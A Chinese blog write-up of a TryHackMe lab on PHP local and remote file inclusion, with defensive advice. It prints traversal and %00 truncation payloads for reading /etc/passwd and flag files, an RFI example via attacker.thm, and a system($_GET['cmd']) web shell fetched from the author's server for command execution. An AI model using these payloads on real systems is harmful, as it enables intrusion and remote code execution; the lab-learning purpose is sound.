我是靠谱客的博主 大气咖啡豆,最近开发中收集的这篇文章主要介绍TryHackMe-渗透测试3_log文件包含,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

文件包含

本地文件包含

php: file_get_contents、include、require、include_once、require_once

…/ 穿越 返回上一级

后面不可控,%00或0x00 截断

注意:%00技巧是固定的,不适用于PHP 5.3.4及更高版本

. 一个点代表当前目录

/etc/passwd/. 等价于/etc/passwd 绕过

如果有…/替换成空字符串可以尝试重写绕过 …//…//…//…//etc/passwd
原理也很简单

如果前面的路径不可控,可以直接…/穿越

远程文件包含

与LFI类似,挺简单

要求是allow_url_fopenallow_url_include是开启的

下图是成功进行 RFI 攻击的步骤示例!假设攻击者在自己的服务器上托管一个PHP文件,http://attacker.thm/cmd.txt 其中cmd.txt包含打印消息Hello THM。

<?PHP echo "Hello THM"; ?>

首先,攻击者注入恶意 URL,该 URL 指向攻击者的服务器,例如http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt。如果没有输入验证,则恶意 URL 将传递到 include 函数中。接下来,Web 应用服务器将向恶意服务器发送GET请求以获取文件。因此,Web 应用程序将远程文件包含在包含函数中,以在页面中执行 PHP 文件并将执行内容发送给攻击者。在我们的例子中,某处的当前页面必须显示Hello THM消息。

防御

作为开发人员,了解 Web 应用程序漏洞、如何查找它们以及预防方法非常重要。为了防止文件包含漏洞,一些常见的建议包括:

使系统和服务(包括 Web 应用程序框架)保持最新版本的更新。

关闭 PHP 错误以避免泄露应用程序的路径和其他可能泄露的信息。

Web 应用程序防火墙 (WAF) 是帮助缓解 Web 应用程序攻击的不错选择。

禁用某些会导致文件包含漏洞的 PHP 功能(如果 Web 应用不需要这些功能),例如打开和allow_url_include allow_url_fopen。

仔细分析 Web 应用程序,只允许需要的协议和 PHP 包装器。

永远不要信任用户输入,并确保针对文件包含实现正确的输入验证。

实施文件名和位置的白名单以及黑名单。

挑战

Challenge 1

题目要求访问/etc/flag1

题目提示要用post请求

一开始先是用curl构造post请求 data:file=/etc/flag1

结果发现不行,没出结果,经过我无数遍尝试,结果发现题目提示是在post的请求 …头中插入file字段。。。

最终成功拿到flag

Challenge 2

进入题目页面,提示:

Welcome Guest!
Only admins can access this page!

想都不用想,直接按下神奇的F12并按下神奇的F5,抓包看见请求头里面有cookie:

Cookie: THM=Guest

果断改成admin,然后再构造get请求的file参数访问/etc/flag2,结果啥事没发生

我反复观看这个页面最终锁定了刚刚的:

Welcome Guest!
Only admins can access this page!

其中的:

Only admins can access {this page!}

也就是说这并不是一段话,从一个文件读取到的,果断在Cookie的THM加入恶意符号,结果居然报错了

Welcome [
Warning: include(includes/[.php) [function.include]: .........

从此也能看出后缀被限定为了.php,我想我需要%00截断

构造cookie:

THM="../../../../../../etc/flag2%00"

成功拿到flag

Chellenge 3

利用到了上一章的身份认证绕过里面的知识点,不在阐述。

最终

题目要求远程执行hostname命令获取其内容

题目提示要使用RFI,首先在tryhackme的kali机中通过

python3 -m http.server

开启http服务,然后再创建一个名为cmd.php文件,内容为:

<?PHP
    echo system($_GET['cmd']);
?>

回到靶机,在题目表单中输入kali机的http://ip:port/cmd.php ,然后在靶机url上添加get参数&cmd=hostname

最终获得答案

最后

以上就是大气咖啡豆为你收集整理的TryHackMe-渗透测试3_log文件包含的全部内容,希望文章能够帮你解决TryHackMe-渗透测试3_log文件包含所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(35)

评论列表共有 0 条评论

立即
投稿
返回
顶部